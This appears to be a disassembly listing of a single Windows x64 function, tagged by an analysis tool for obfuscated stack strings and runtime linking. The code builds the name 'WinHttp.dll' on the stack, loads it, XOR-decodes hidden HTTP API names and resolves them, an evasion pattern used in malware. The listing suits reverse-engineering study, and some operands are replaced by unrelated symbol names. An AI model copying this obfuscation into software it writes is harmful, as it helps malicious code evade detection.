Function at 0x140001010
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rax, qword [0x1402066f0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov eax, 0x57
mov rdi, rcx
xor r12d, r12d
mov word [rbp + 0x27], ax
mov eax, 0x69
lea rcx, [rbp + 0x27]
mov word [rbp + 0x29], ax
mov eax, VarBstrFromDisp
mov dword [rbp + 0x2f], 0x740074
mov word [rbp + 0x2b], ax
mov eax, 0x68
mov dword [rbp + 0x39], 0x6c006c
mov word [rbp + 0x2d], ax
mov eax, VarBstrFromDisp
mov word [rbp + 0x3d], r12w
mov word [rbp + 0x33], ax
mov eax, 0x2e
mov word [rbp + 0x35], ax
mov eax, 0x64
mov word [rbp + 0x37], ax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [rsp + 0x20], 0x261a210e
mov dword [rsp + 0x24], 0x77001821
mov dword [rsp + 0x28], 0x37213b
mov ecx, r12d
mov rsi, rax
mov edx, r12d
lea r8, [rsp + 0x20]
lea r9d, [r12 + 0xb]
lea r13, str.YHtnUlp8KD
cmp ecx, 0xa
jne 0x1400010dd
mov ecx, r12d
mov rdx, r12
movzx eax, byte [rdx + r13]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x1400010d2
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rbp - 0x79], 0x261a210e
mov dword [rbp - 0x75], 0x7b001821
mov dword [rbp - 0x71], 0x2d372a24
mov word [rbp - 0x6d], 0x1a17
mov byte [rbp - 0x6b], r12b
mov qword [rdi], rax
mov ecx, r12d
mov rdx, r12
lea r8, [rbp - 0x79]
mov r9d, SafeArrayGetDim
cmp ecx, 0xa
jne 0x14000113e
mov ecx, r12d
mov rdx, r12
movzx eax, byte [rdx + r13]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x140001133
lea rdx, [rbp - 0x79]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, 0x12
mov dword [rbp - 0x41], 0x261a210e
mov dword [rbp - 0x3d], 0x77001821
mov dword [rbp - 0x39], 0x1a37213b
mov dword [rbp - 0x35], 0x9201f11
mov qword [rdi + 0x18], rax
mov word [rbp - 0x31], 0x4c03
mov byte [rbp - 0x2f], r12b
mov ecx, r12d
mov rdx, r12
lea r8, [rbp - 0x41]
mov r9d, ebx
nop dword [rax]
cmp ecx, 0xa
jne 0x1400011ab
mov ecx, r12d
mov rdx, r12
movzx eax, byte [rdx + r13]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x1400011a0
lea rdx, [rbp - 0x41]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rbp - 0x59], 0x261a210e
mov dword [rbp - 0x55], 0x6b001821
mov dword [rbp - 0x51], 0x1a3d2a2e
mov dword [rbp - 0x4d], 0x9201f11
mov word [rbp - 0x49], 0x4c03
mov qword [rdi + 0x38], rax
mov byte [rbp - 0x47], r12b
mov ecx, r12d
mov rdx, r12
lea r8, [rbp - 0x59]
mov r9, rbx
cmp ecx, 0xa
jne 0x140001210
mov ecx, r12d
mov rdx, r12
movzx eax, byte [rdx + r13]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x140001205
lea rdx, [rbp - 0x59]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rbp - 0x11], 0x261a210e
mov dword [rbp - 0xd], 0x6a001821
mov dword [rbp - 9], 0x213c272e
mov dword [rbp - 5], 0x9070b02
mov dword [rbp - 1], 0x2a244803
mov qword [rdi + 0x58], rax
mov word [rbp + 3], 0x2d2a
mov byte [rbp + 5], r12b
mov ecx, r12d
mov rdx, r12
lea r8, [rbp - 0x11]
mov r9d, 0x16
cmp ecx, 0xa
jne 0x14000127f
mov ecx, r12d
mov rdx, r12
movzx eax, byte [rdx + r13]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x140001274
lea rdx, [rbp - 0x11]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rbp + 7], 0x261a210e
mov dword [rbp + 0xb], 0x69001821
mov dword [rbp + 0xf], 0x312b213e
mov dword [rbp + 0x13], 0xd210f30
mov dword [rbp + 0x17], 0x2d2a4e31
mov qword [rdi + 0x78], rax
mov dword [rbp + 0x1b], 0x2162935
mov word [rbp + 0x1f], 0x30
mov ecx, r12d
mov rdx, r12
lea r8, [rbp + 7]
mov r9d, 0x19
cmp ecx, 0xa
jne 0x1400012f1
mov ecx, r12d
mov rdx, r12
movzx eax, byte [rdx + r13]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x1400012e6
lea rdx, [rbp + 7]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rbp - 0x69], 0x261a210e
mov dword [rbp - 0x65], 0x6a001821
mov dword [rbp - 0x61], 0xc3d252e
mov dword [rbp - 0x5d], 0x341a15
mov ecx, r12d
mov qword [rdi + 0x98], rax
mov rdx, r12
lea r8, [rbp - 0x69]
mov r9d, SafeArrayGetDim
cmp ecx, 0xa
jne 0x140001352
mov ecx, r12d
mov rdx, r12
movzx eax, byte [rdx + r13]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x140001347
lea rdx, [rbp - 0x69]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rbp - 0x29], 0x261a210e
mov dword [rbp - 0x25], 0x7b001821
mov dword [rbp - 0x21], 0x2d2a2b27
mov dword [rbp - 0x1d], 0x83b0f3c
mov word [rbp - 0x19], 0x5d1c
mov qword [rdi + 0xa8], rax
mov byte [rbp - 0x17], r12b
mov ecx, r12d
mov rdx, r12
lea r8, [rbp - 0x29]
nop dword [rax]
cmp ecx, 0xa
jne 0x1400013bb
mov ecx, r12d
mov rdx, r12
movzx eax, byte [rdx + r13]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec rbx
jne 0x1400013b0
lea rdx, [rbp - 0x29]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0xc8], rax
lea eax, [rbx + 1]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1401526c0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rbp
ret